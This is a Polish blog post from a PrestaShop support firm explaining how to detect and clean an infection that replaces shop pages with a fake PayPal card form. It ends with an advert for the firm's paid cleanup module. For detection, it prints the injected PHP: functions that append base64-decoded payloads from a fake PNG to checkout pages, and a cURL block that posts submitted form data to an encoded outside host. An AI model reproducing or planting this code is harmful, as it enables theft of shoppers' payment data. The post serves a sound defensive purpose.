Press "Enter" to skip to content

PrestaShop 1.7 i dziwne przekierowanie na stronę płatności PayPal

Admin 2

Enigmatyczny formularz PayPal i wersja PrestaShop.

Dziś opiszemy jak poradzić sobie z problem z przekierowaniem do platnosci PayPal w sklepie opartym o PrestaShop.

Wersja, którą bierzemy tutaj pod uwagę to: PrestaShop 1.7.5.2

Jeśli interesuje Cię podobny atak związany z PayPal, jednak na platformę PrestaShop 1.6 zapraszamy do lektury tego artykułu na naszym Blogu: https://pskrk.com/prestashop-1-6-falszywy-formularz-paypal-w-miejscu-metody-platnosci-czy-to-atak-hakerski/

Jest to o tyle dziwne, że znika zupełnie interface sklepu i mamy widoczny jedynie formularz PayPal. Niezależnie czy mamy zainstalowany w sklepie moduł płatności PayPal czy nie.

Pojawia się napis:

Pay with debit or credit cart

A formularz wygląda następująco:

Przekierowanie występuje dodatkowo w dość kuriozalnych miejscach. W naszym przypadku było to:

  • przekierowanie zaraz po wyświetleniu wyników wyszukiwania
  • przekierowanie po… wejściu w detale danego zamówienia w panelu (blokada sprawdzania zamówień…!)
  • analogiczne przekierowanie jeśli wchodzimy w konfigurację któregoś z modułów (tutaj występuje to losowo)

We wszystkich przypadkach widzimy jedynie formularz ze screenshota.

Co istotne: nie zmienia się adres strony którą przeglądamy. Czyli de facto nie jest to przekierowanie w dosłowym znaczeniu lecz pojawia się formularz PayPal.

Atak hakerski 🙁

Jeśli symptomy na Twoim sklepie są takie same jak te, co opisaliśmy to nie mamy dla Ciebie dobrych informacji…. Sklep prawdopodobnie padł ofiarą ataku, a w/w formularz PayPal słuzy wyłącznie wyłudzeniu danych klientów. Musisz działać natychmiast!

Rozważ też zlecenie tej naprawy fachowcom! Poprzez wykupienie stałego supportu tech. nasz zespół może czuwać nad bezpieczeństwem Twojego sklepu poprzez usuwanie zagrożeń i stałe aktualizacje:

Wyłączenie sklepu.

Na początek zablokuj sklep i udostępnij go jedynie do Twojego IP, tak aby móc sprwadzić dalszą naprawę:

Czasowe wyłączenie sklepu dla klientów z możliwością oglądania go przez właściciela [Aktualizacja]

Kopia bazy danych.

Kolejnym krokiem jest wykonanie kopii bezpieczeństwa danych sklepu:

Zaawansowane -> Baza danych -> Kopia zapasowa DB ->
Przeczytałem ostrzeżenie – utwórz nową kopię zapasową

Kopia plików.

Przed grzebaniem w plikach najlepiej było by wykonać ich kopie. Możesz to wykonać na kilka sposobów

1) Poproś administratora Twojego serwera aby wykonał kopie wszystkich plików sklepu PrestaShop

2) zdobądź dostęp FTP i zgraj na dysk pliki sklepu.

UWAGA #1
Nie obawiaj się zgrania zainfekowanych plików na dysk Twojego komputera. Atak obejmuje pliki PHP, które nie są wykonywane na Twoim komputerze i nie mogą w żaden sposób wpłynąć np. na działanie systemu Windows. Wręcz Twój antywirus niekoniecznie może uznać je za zagrożenie.

UWAGA #2
Pomiń niektóre foldery przy kopiowaniu – zajmują one dużą ilość na dysku i zawierają pliki które nie wymagają naprawy:
/cache
/downloads
/img
/uploads
/var

Usunięcie zagrożenia.

Pobierz ze strony oryginalne wersje plików dla wersji PrestaShop 1.7.5.2:

https://download.prestashop.com/download/releases/prestashop_1.7.5.2.zip

Jeśli atak dotyczy innej wersji sklepu odp. zmodyfikuj link do pliku ZIP ze strony twórcy oprogramowania PrestaShop. Podając w nim wersję Twojego sklepu np. 1.7.8.2 itd.

Następnie sprawdź porównywając ze źródłem czy te pliki nie są zainfekowane:

classes/controller/ModuleFrontController.php

classes/controller/FrontController.php

classes/controller/Controller.php

Mogą się w nich pojawić dodatkowe szkodliwe metody (funkcje):

    public function jschecks($html,$p)
{
    $urp=[
        "order",
        "Bestellung",
        "bestellung",
        "commande",
        "objednavka",
        "pedido",
        "carrito",
        "koszykgt",
        "zamowienie",
        "comanda",
        "checkout",
    ];

    foreach($urp as $u){
        if (strpos($_SERVER["REQUEST_URI"], $u) !== false ){
            $html=$html.@base64_decode(@file_get_contents($_SERVER["DOCUMENT_ROOT"].$p));
            return $html;
        }
    }

    return $html;

}


public function csschecks($html,$p)
{
    $urp=[
        "opc_payment_methods", 
        "payment_method_container", 
        "HOOK_PAYMENT", 
        "checkout-payment-step",
        "paymentMethodContainer",
        "HOOK_ADVANCED_PAYMENT",
        "HOOK_SHOPPING_CART",
        "payment-method",
        "st-checkout-payment-step",
        "klarna-checkout-container",
        "checkout-review-table-wrapper",
        "checkout-payment-method-load",
    ];

    foreach($urp as $u){
        if (strpos($html, $u) !== false ){
            $html=$html.@base64_decode(@file_get_contents($_SERVER["DOCUMENT_ROOT"].$p));
            return $html;
        }
    }

    return $html;

}

Oraz kod wyłudzający wprowadzane dane przez CURL:

if(isset($_POST['prod_hash'])){
    $array = array(
                    'statistics_hash'   => $_POST['prod_hash'],
                );      
    $ch = curl_init(base64_decode("aHR0cHM6Ly80NS4xOT"));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $array); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $html = curl_exec($ch);
    curl_close($ch);  
}if(isset($_POST['prod_hash'])){
    $array = array(
                    'statistics_hash'   => $_POST['prod_hash'],
                );      
    $ch = curl_init(base64_decode("aHR0cHM6Ly8x"));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $array); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $html = curl_exec($ch);
    curl_close($ch);

UWAGA! Jeśli Twój sklep był przez jego twórcę modyfikowany pod specyficznym kątem należy uwzględnić ewentualne zmiany firmy programistycznej w tych plikach.

Kod może też wskazywać na plik PNG który w istocie jest zainfekowanym plikiem tekstowym ze złośliwym kodem:

Hook::exec('actionOutputHTMLBefore', array('html' => &$html));$html=$this->jschecks($html,"/img/Jc25W.png");
$html=$this->jschecks($html,"/img/Jc25W.png");echo trim($html);

W związku z tym sprawdź zawartość folderu /img czy wszystkie pliki które sie tam znajdują to rzeczywiście pliki graficzne. Jeśli plik PNG/JPG/GIF można odczytać w edytorze tekstowym i zawiera złośliwy kod należy ten plik po prostu usunąć.

Inne pliki wymagające sprawdzenia:

controllers/admin/AdminLoginController.php

themes/core.js

Oczywiście może być to jedynie czubek góry lodowej… należy dokładnie porównać pliki z plikami źródłowymi i wprowadzić odpowiednie zmiany.

Wprowadzenie niezbędnych zabezpieczeń

Na szybko należy:

  1. zmienić dostępy do bazy danych MySQL i uwzględnić je w pliku:
    app/config/parameters.php
  2. zmienić link do admina – zmienić przez FTP nazwę folderu który podajesz jako ścieżkę logowania się do administracji sklepu.
  3. usunąć wszystkich administratorów sklepu, zostawić tylko jednego i nadać mu skomplikowane hasło dostępu
  4. usunać wszystkie konta FTP do serwera, zostawić jedno i nadać mu mocne hasło
  5. jeśli Twój serwer zawiera także inne witryny należy sprawdzić czy one nie były źródłem ataku odp. je zabezpieczając. Ewentualnie przenieść sklep na odrębny, bezpieczny serwer.
  6. monitorować zmiany w plikach sklepu – nasz zespół wykonuje takie prace!
  7. rozważyć pilną aktualizację sklepu PrestaShop do najnowszej wersji.
  8. na Twoim komputerze zainstaluj program antywirusowy i przeprowadź skanowanie (czy np. trojan nie wyłudza wprowadzanych przez Ciebie danych),

Usunięcie kodu (w trakcie sprawdzania)

Niektórzy programiści zalecają usunięcie tego kodu jako sposób zapobiegania temu problemowi. Uwaga, nasz zespół jeszcze bada to rozwiązanie – czy rzeczywiście pomaga to przeciwdziałać atakowi.

Otwórz plik:

config/smarty.config.inc.php

Usuń kod:

if (Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {
    include(_PS_CLASS_DIR_.'/SmartyCacheResourceMysql.php');
    $smarty->caching_type = 'mysql';
}

Jak widać ingerujemy tu w działanie systemu jeśli używamy cacheowania w MySQL. Wobec tego po tej zmianie może to nie działać tak jak należy. Trzeba mieć to na uwadze.

Zainstalowanie modułu do leczenia plików.

Niestety na podstawie naszych obserwacji widać, że problem jest dość poważny i infekcja mimo wykonania wyżej wymienionych zmian może wracać. Wygląda na to, że producent nie wypuścił na tę chwilę żadnej łatki która by temu zapobiegała.

Ponadto jest to spotykane nawet na dość zaawansowanych wersjach PrestaShop (ostatnio leczyliśmy z tej infekcji sklep oparty o wersję PS 1.7.8.1)..

Wychodząc na przeciw tym problemów, nasz zespół opracował moduł który automatycznie leczy pliki (tzn. przywraca je do wersji z przed zmian hakera) oraz usuwa fałszywe pliki PNG. W ten sposób prace programistyczne są wykonywane automatycznie przez serwer bez żadnej ingerencji z Twojej strony.

Moduł jest dostępny do zakupienia i pobrania pod poniższym linkiem:

Na cenę ma wpływ fakt, że w ramach zamówienia nasz programista poprawnie skonfiguruje działanie modułu oraz ustawi cykliczność skanowania (zalecamy co 5 min.). Zapraszamy zainteresowanych do skorzystania z tej oferty.

Dodatkowo w ramach zamówienia, kupujący otrzyma prawo do bezpłatnych aktualizacji modułu przez kolejnych 12 miesięcy.

 

grafika:wallpaperaccess.com

  1. Piotr Piotr

    Hej ! 🙂

    Chciałem podziękować za artykuł. Był bardzo pomocny w rozwiązaniu problemu. Chętnie wrócę na audyt w lepszych czasach ! Jeszcze raz dzięki ! 🙂

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.

Zobacz także !
Twój sklep PrestaShop źle nalicza sumę produktów w koszyku? Sprawdź nasze…